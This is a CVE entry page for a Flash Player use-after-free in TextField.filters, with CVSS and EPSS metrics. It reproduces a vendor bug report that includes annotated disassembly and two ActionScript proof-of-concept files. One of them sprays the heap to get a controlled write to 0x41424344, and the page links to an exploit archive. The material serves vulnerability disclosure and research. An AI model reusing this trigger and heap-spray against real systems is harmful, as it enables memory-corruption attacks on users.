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Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3124, CVE-2015-3127, CVE-2015-3128, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, CVE-2015-4430, and CVE-2015-5117.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
52.43%
–
–
2022-04-03
–
–
52.43%
–
–
2023-03-12
–
–
–
90.25%
–
2023-04-02
–
–
–
90.5%
–
2023-05-07
–
–
–
87.47%
–
2023-07-09
–
–
–
88.87%
–
2023-10-15
–
–
–
90.68%
–
2023-11-12
–
–
–
90.94%
–
2024-03-17
–
–
–
90.62%
–
2024-06-02
–
–
–
90.62%
–
2024-06-02
–
–
–
90.62%
–
2024-11-17
–
–
–
91.04%
–
2024-12-22
–
–
–
73.01%
–
2025-01-05
–
–
–
71.66%
–
2025-01-19
–
–
–
71.66%
–
2025-03-18
–
–
–
–
51.06%
2025-03-30
–
–
–
–
59.4%
2025-04-06
–
–
–
–
51.06%
2025-04-08
–
–
–
–
59.4%
2025-04-13
–
–
–
–
51.06%
2025-04-14
–
–
–
–
59.4%
2025-04-14
–
–
–
–
59.4,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for https://code.google.com/p/chromium/issues/detail?id=480496]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
A little bug while setting the TextFilter.filters array.
Chrome 42.0.2311.90 with Flash 17.0.0.169
VERSION
Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169
Operating System: [Win 7 SP1]
REPRODUCTION CASE
We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169):
.text:004D6964 loc_4D6964:
.text:004D6964 and eax, 0FFFFFFF8h
.text:004D6967 push edi
.text:004D6968 mov edi, eax
.text:004D696A mov ecx, edi
.text:004D696C xor esi, esi
.text:004D696E call xAS2_getArrayLength ; here we can override object.length and execute some code
.text:004D6973 test eax, eax ; if that code frees the object pointed by ebx...
.text:004D6975 jle short loc_4D69A3
.text:004D6977
.text:004D6977 loc_4D6977:
.text:004D6977 push edi
.text:004D6978 mov ecx, esi
.text:004D697A call sub_4D3FE0 ; get an item from the object
.text:004D697F add esp, 4
.text:004D6982 test eax, eax ; we have either a filter or 0 here
.text:004D6984 jz short loc_4D6997
.text:004D6986 mov edx, [eax]
.text:004D6988 mov ecx, eax
.text:004D698A mov eax, [edx+18h]
.text:004D698D call eax
.text:004D698F push eax
.text:004D6990 mov ecx, ebx ; ...we get a use after free here
.text:004D6992 call sub_4CDB70 ; and a write-4 condition here
.text:004D6997
.text:004D6997 loc_4D6997:
.text:004D6997 mov ecx, edi
.text:004D6999 inc esi
.text:004D699A call xAS2_getArrayLength
.text:004D699F cmp esi, eax
.text:004D69A1 jl short loc_4D6977
Freeing the object pointed by ebx is easy indeed:
var tfield:TextField = createTextField("tf",1,1,2,3,4) //create a TextField at depth 1
tfield.filters = [] //create the targeted object
createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object
flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344
***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
}
_global.mc = this
_global.counter = 0
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 1) f()
return 10;
}
var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o
***************************************************************************
Content of flash_as2_filters_uaf_write4.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41414100
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
for (var i = 0x100; i<0x200;i++) {
_global.a1[i].tabStops = _global.a2
}
}
_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 1) f()
return 10;
}
var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 13.0.0.289